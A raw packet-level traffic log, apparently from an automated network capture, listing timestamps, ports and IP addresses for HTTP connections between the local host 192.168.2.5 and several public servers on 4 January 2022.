Jan 4, 2022 19:34:06.506908894 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.506922007 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.506936073 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.506944895 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.506949902 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.507025003 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.507067919 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.507083893 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.567909002 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.567941904 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.567959070 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.567972898 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.567986965 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568001032 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568013906 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568026066 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.568027973 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568044901 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568088055 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.568121910 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.568137884 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568186998 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568315029 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568356991 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568397999 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568439007 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568454027 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568468094 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568557024 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568587065 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568598986 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.568712950 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629036903 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629072905 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629084110 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629096985 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629108906 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629117966 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629146099 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629158020 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629168987 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629240990 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629247904 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629261017 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629293919 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629331112 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629364014 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629472017 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.629482985 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.637326002 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.637516022 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.665519953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.665682077 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:07.153373003 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:07.153588057 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:08.073410988 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.081259966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:08.081362963 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:08.094161034 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094213963 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094235897 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094255924 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094278097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094309092 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.094343901 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.094567060 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094590902 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094614029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094638109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094638109 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.094660997 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.094666958 CET	49905	80	192.168.2.5	91.219.236.18
Jan 4, 2022 19:34:08.094710112 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.114609957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114672899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114694118 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114715099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114737034 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114758015 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114780903 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114799976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.114801884 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114824057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114845991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114852905 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.114866972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114886999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.114895105 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.114948034 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.115309000 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115341902 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115365982 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115389109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115401030 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.115411043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115432024 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115439892 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.115454912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115466118 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.115477085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.115494013 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.115529060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.137754917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137811899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137830973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137860060 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137883902 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137907982 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137933016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137953043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137975931 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.137999058 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138009071 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138020992 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138042927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138045073 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138062000 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138070107 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138082981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138103008 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138104916 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138127089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138128042 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138149977 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138158083 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138173103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138181925 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138195992 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138206005 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138220072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138237000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138242960 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138267040 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138267994 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138290882 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138290882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138317108 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138319016 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138341904 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138344049 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138367891 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138371944 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138392925 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138401031 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138416052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138423920 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138438940 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138449907 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138463974 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138489962 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138490915 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138514042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138519049 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138537884 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138545990 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138560057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138572931 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138581991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138606071 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138607025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138627052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138631105 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138653040 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138653040 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138669968 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138695955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.138709068 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138731003 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.138755083 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159096956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159138918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159164906 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159192085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159219027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159241915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159266949 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159286022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159310102 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159332037 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159351110 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159354925 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159377098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159385920 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159398079 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159418106 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159419060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159439087 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159439087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159460068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159478903 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159481049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159507036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159516096 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159529924 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159554958 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159554958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159578085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159596920 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159601927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159621000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159626961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159651041 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159658909 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159673929 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159687042 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159701109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159710884 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159723997 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159734964 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159748077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159755945 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159770966 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159779072 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159791946 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159806967 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159816027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159837008 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159837961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159859896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159873009 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159879923 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159902096 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159914017 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159923077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159946918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159954071 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159969091 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.159980059 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.159992933 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160016060 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160016060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160041094 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160058975 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160065889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160074949 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160089970 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160113096 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160114050 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160136938 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160139084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160160065 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160166025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160185099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160192966 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160208941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160214901 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160233021 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160240889 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160254955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160262108 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160274029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160284996 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160295963 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160312891 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160316944 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160341024 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160351992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160362005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160384893 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160392046 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160407066 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160429001 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160430908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160451889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160454035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160475016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160497904 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160499096 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160521984 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160542965 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160548925 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160563946 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160572052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160586119 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160609007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160609961 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160630941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160651922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160660982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160674095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160691977 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160695076 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160716057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160717010 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160737038 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160756111 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160759926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160784006 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160793066 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160806894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160830975 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160831928 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160876036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160877943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160901070 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160922050 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.160923958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.160947084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.161014080 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.161052942 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.180865049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.180912018 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.180939913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.180964947 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.180990934 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181016922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181040049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181061983 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181066036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181088924 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181113958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181140900 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181140900 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181170940 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181175947 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181195974 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181204081 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181221008 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181245089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181246996 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181268930 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181287050 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181292057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181312084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181315899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181339979 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181350946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181365013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181385040 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181389093 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181415081 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181426048 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181438923 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181463003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181467056 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181487083 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181510925 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181513071 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181535959 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181539059 CET	49898	80	192.168.2.5	116.202.186.120
